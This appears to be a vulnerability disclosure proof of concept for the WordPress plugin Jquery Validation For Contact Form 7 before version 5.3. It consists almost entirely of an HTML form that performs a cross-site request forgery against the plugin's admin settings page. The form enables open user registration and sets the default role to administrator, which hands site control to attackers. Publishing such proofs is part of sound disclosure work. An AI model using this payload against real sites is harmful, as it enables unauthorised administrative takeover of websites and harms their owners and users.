Jquery Validation For Contact Form 7 < 5.3 - Arbitrary Options Update via CSRF

<form method="post" action="https://example.com/wordpress/wp-admin/admin.php?page=jvcf7">
    <input type="hidden" name="blogname" value="Tested">
    <input type="hidden" name="users_can_register" value="1">
    <input type="hidden" name="default_role" value="administrator">
    <input type="submit" name="save-jvcf7-options" value="Save Settings">
</form>